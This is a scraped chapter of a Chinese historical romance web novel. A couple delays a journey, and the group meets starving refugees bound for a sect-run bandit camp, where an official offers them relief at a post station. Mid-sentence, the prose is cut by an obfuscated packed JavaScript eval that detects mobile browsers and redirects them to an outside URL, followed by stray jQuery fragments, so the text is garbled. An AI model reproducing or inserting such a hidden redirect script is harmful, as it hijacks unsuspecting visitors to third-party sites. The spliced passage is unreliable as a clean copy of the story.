弗筠是个循循善诱的好师傅，章舜顷也是一点就通的好学徒。


    多年的案头积累，终于有了用武之地。都说教学相长，弗筠才知，原来避火图里那些怪异甚至离奇的体式，竟然并非天马行空的想象。


    他们不知疲倦地一遍遍操演练习，俨然世上最求知若渴的学子。


    以至于次日约好的启程时辰都误了。


    凌仙、陆炳和卫骁三人坐在大堂干瞪眼。


    陆炳和卫骁面色如常，也许是他们平素一贯如此，也许是他们的客房相隔较远。凌仙却时不时抬眼望向二楼那间房门紧闭的客房，脸颊红霞挥之不去。


    约莫午饭时分，房门终于打开，二人前后脚走出。


    章舜顷神采奕奕，步伐却刻意放得轻缓，一直用手稳稳扶着弗筠的腰。


    弗筠面上一派平静，倒是章舜顷脖颈上多了几处暧昧的红痕，在衣领边缘若隐若现，扎眼得很。


    余下三人都默契地移开了目光。


    章舜顷恍若不觉，满面春风，昂首挺胸，语调轻扬，“咱们就在这里用完饭，便即刻启程吧。”


    他心中早已饱足，口腹之欲便微不足道，因而并未用多少饭，反而不停往弗筠碗里丢鸡腿，目光灼灼地看着她，意味深长道，“多吃点。”


    弗筠在桌下狠劲儿拧了把他的大腿，横过去一记眼刀，无声警告：“收敛些”。


    章舜顷忍着痛才没有嘶出声来，果真不再嘚瑟，可唇角依然翘着，压也压不平。


    此行他们雇了一辆轻简的马车，两位姑娘坐车，卫骁驱车，章舜顷和陆炳则一左一右骑马护在两侧。


    凌仙气鼓鼓地窝在车厢，眼底还有层淡淡的乌青。


    弗筠凑过去轻声问道，“怎的？昨夜没歇好？”


    凌仙瞪她，“你还好意思问我？”她心中忿忿，忍不住又补了句，“见色忘友，言而无信。”


    弗筠笑着挽住她的胳膊，将身子软软靠过去，“咱俩今晚一起睡。”


    凌仙被放了鸽子，气仍未消，冷哼道，“你不是嫌陆炳寡淡么，我也是个无趣的，可没那些花言巧语哄你。”


    说着，她突然颤起声来，学着某人拿腔拿调道，“弗筠，我的心肝儿……”


    弗筠慌得差点跳起来，连忙去捂她的嘴，脸颊瞬间红透，“你都听到了？”


    因顾忌着客房隔音不佳，他们刻意压着声，还当没闹出大动静来呢。


    凌仙被她捂得难受，连忙去扒她的手，讷讷道，“我也就听了这一句。”


    昨夜，她正睡得沉，一道极其突兀的、压抑又带着颤的低吼，硬生生把她从梦境深处拽了出来。


    而后似乎是一声清脆的巴掌响声，隔壁便噤了声，只有吱呀的木板摇晃声，远远听去像是老鼠在偷偷啃噬床板。


    凌仙有些不敢置信，“你竟然敢打他？”


    弗筠咬牙切齿，“看来我还是打轻了。”


    骚男人，整日得意忘形。


    她心里将章舜顷痛骂了一路。


    因他们动身太晚，为了在天黑之前赶到东平州，找到落榻之地，只能快马加鞭，紧赶慢赶。


    弗筠和凌仙在马车里颠簸，互相倚靠着，睡一觉，醒一会，不知行过多久。


    又一次被颠得睡眼惺忪时，忽听见外头传来熙攘嘈杂的人声，紧接着，身下的车厢猛地一顿，停了下来。


    她们刚以为抵达邸店了，就听外头男女混杂、有气无力的哀求声，不断重复着一句话，“行行好吧，给口饭吃。”


    弗筠和凌仙对视一眼，立刻坐直身子，各自掀起车帘，被眼前景象吓了一跳。


    乌压压一帮流民将他们的马车围了水泄不通，个个儿衣衫褴褛，蓬头垢面，形销骨立，面如菜色，端着破碗向他们乞讨。


    那些曾存在于金陵百姓口中的谈资，此刻终于眼见为实，赤裸裸地直陈面前。


    章舜顷紧紧护在马车一侧，见弗筠探头露面，忙道，“快进去。”


    弗筠却没理他，目光一一落在那伙流民的脸上，男女老少都有，面上毫无生气，唯有眼底还残存着一点点水光，闪着祈求的微芒。


    流民中有一位中年妇人，见她面善心软，不似旁边男子冷硬，便看向弗筠道，“姑娘行行好吧，我们已经饿了好些天了，没吃东西了。能给孩子几口饭吃么……”


    说完，她身后探出一位小姑娘，个头儿刚及妇人肩膀，瞧着约莫十岁上下，跟她当年南下流亡时的年纪相仿，小脸瘦得只有巴掌大小，灰扑扑的看不出模样，但眸子异常闪亮，如同林间小鹿，怯怯的，十分让人生怜。


    弗筠脑海中刷地涌入那些不堪回首的记忆。


    那时，她还未落入人牙之手前，也曾混入流民或乞丐中，一路乞食求生，吃了上顿没下顿，饥饿的滋味深深镌刻入她的骨髓中。


    整日眼前花白，脚步虚浮无力，耳朵嗡嗡作响，空空如也的肠胃无事可干，只能绞动着打架，肚子生疼。


    想靠睡觉来抵挡饥饿，却只会更加清醒，在黑夜里只能睁着眼睛苦熬，感受着叫嚣的肠胃一点点将□□吞噬干净，剩下一层贴骨的皮囊。


    弗筠的胃突然疼了起来。


    马车里有些从邸店打包来的包子炊饼，本是供他们路上充饥的。她的手不由自主地去摸那些被油纸包好的干粮，摸了半天，却抓了个空。


    扭头一看，凌仙已将所有干粮兜在怀里，在她尚未出声劝阻前就冲窗外丢了出去。


    弗筠眼疾手快，却只来得及夺下两袋包子。


    凌仙眼里已噙着泪水，不解她的劝阻，“你干嘛？”


    “你自己看。”


    凌仙不明所以地顺着她的手指向外看，只见方才将马车绕了一圈的流民，突然一股脑聚到她这边，扬手去争抢那几包干粮，外封的油纸被撕扯开，包子炊饼滚落在地，沾了灰，众人又趴在地上去捡，哄抢扭打成一团，场面瞬间失控。


    有手快的捡起半个包子囫囵咽下去，却被噎得翻白眼，面色涨红。旁边的人为了抢食，一胳膊肘撞在他胸口，那汉子将未嚼烂的包子混着唾液吐了出来，另一只脏污的手立刻捡起，看也不看地塞进自己嘴里，混着泥土咽了下去……


    章舜顷、陆炳、卫骁三人脸色骤变，迅速拔剑出鞘，寒光闪动，横亘在混乱的人群与马车之间，厉声喝止。流民只好惊慌失措地分开，那些不多的干粮早已哄抢一空，连渣子都没剩。


    “你们是从哪里来的？”章舜顷拧着眉头问道。


    方才那位妇人被三把利剑吓得浑身发抖，紧紧将女儿搂在怀中，见身边人都在面面相觑不敢回话，犹豫后率先开口道，“我们是从汶上县过来的。”


    章舜顷在心里过了下汶上县的方位，问道，“你们为何要往北边走？”


    妇人道，“我们是听说，北边截云寨肯收留没活路的人，给口饭吃。”


    章舜顷挑眉问道，“你们去投靠土匪？”


    方才还一脸怯懦的妇人突然变了脸色，语气尖利道，“什么土匪？分明是救黎民百姓于水火之中的明主！”


    一听这话，章舜顷瞬间明白过来，所谓截云寨，只怕是一伙占山为王的红莲教徒。


    红莲教还真是无孔不入，无处不在。


    不说别的，他们这一行五人中就有两人跟红莲教有着莫大关联。


    他忍不住扫了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102302|193548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼这二人，陆炳早已悄悄将剑收起，而弗筠则在车厢里聚精会神倾听，面上倒无甚表情。


    弗筠虽然精通五行八卦、天象命理，可她会是信奉明主降世这种谶言的人么？


    她到底是为何会跟红莲教扯上关系呢？


    一丝疑窦悄然划过章舜顷心头，不过眼下为民请命的为官之责暂且压倒了其他。


    蝗旱灾害在今夏便已开始，那时他还尚未离京，上朝时偶尔也听户部官员提起，灾害尚局限于山东河南交界一带的个别州府。


    如今已经入冬，流民问题竟仍然猖獗不断，属实蹊跷得很。


    他继续问道，“官府难道没有赈济过灾粮么？”


    妇人愣了愣，悟过来对方怕是外地来的，才有此不识人间疾苦的一问，苦笑道，“夏收时倒是管过一阵，后来只说官仓里也没有余粮，只能任着这些贫贱百姓自生自灭，总归我们的命不值钱。”


    “也没人管流民？”


    妇人疑惑地摇头，“谁会来管我们呢？”


    章舜顷眉宇冷凝成冰，赈灾不管，流民不管，弹劾的折子只怕要淹过陛下的书案了吧。


    布政使竟依然高枕无忧？按察使竟袖手旁观？


    他在雾螺岛和货船上待了太多时日，离群索居，已不太知朝堂最新动向。昨日去巡检司衙门，也未曾听闻近日有革职之类的议论。


    他一瞬间想起自己那本写满赫赫战绩的生死簿，想要添墨的心蠢蠢欲动。


    “截云寨离这里有多远？”章舜顷问道。


    妇人不明所以，迟疑回答，“大约往北还有三四十里地吧。”


    目下已是日落西沉，就靠这帮老弱病残，天黑前绝无可能走到。


    他定了定神道，“东原驿离这里大约还有五里地，你们今晚若是能走到那里去，可以管你们一餐薄粥。”


    “官驿？我们怎么能去呢？”流民不禁窃窃私语起来。


    “我话已经撂下了，信不信由你们。”章舜顷说完就招呼陆炳和卫骁撤下，继续赶路。


    这时，弗筠突然挑起车帘，下了马车，怀中兜着两袋幸存的包子，朝着仍在发愣的流民道，“方才没有抢到吃食的，可以领半个包子，路上垫垫饥。”


    一个中年汉子最先站起身来，伸手就要来抓，弗筠歪了歪身子，避开他，“别当我不认人，方才抢得最起劲儿的就是你，一边儿退开。妇孺优先。”


    那汉子还要理论，章舜顷挥动剑柄，剑锋直指他下半身，“不想当男子了我也可以帮你。”


    那汉子羞怒交加，涨红了脸，然而面对着真刀真枪，却也只能按下心中不快，悻悻退入人群。


    陆炳和卫骁也来维持秩序，有三座门神护法，总算没再出乱子。有限的包子被小心掰开，分到那些最瘦弱的妇孺手中。


    那位妇人带着女儿上前感激道，“姑娘好人一生平安。”


    弗筠本想摸摸小姑娘的脸颊，抬起却看见满手油光，遂背过了手，笑道，“举手之劳罢了。”


    流民渐渐从马车四周散开，弗筠便要回到车里，手腕却被章舜顷捉住，他变戏法似地掏出一方手帕，帮她轻柔地擦拭手心，连指缝都照顾到了。


    弗筠任由他擦拭，趁这极近的距离，用只有两人能听到的声音低语：“大人不是说此行不住官驿么？这又是在山东的地界，你就不担心……”


    章舜顷笑道，“我昨日在官府已换了勘合，现在是一位进京述职的正六品通判。”


    弗筠仍有些忧色，“可是，你想用官驿的余粮赈济灾民，肯定会闹出动静来啊。”


    “那就正好探探虚实，看看齐王是不是已经到了手眼通天的地步。”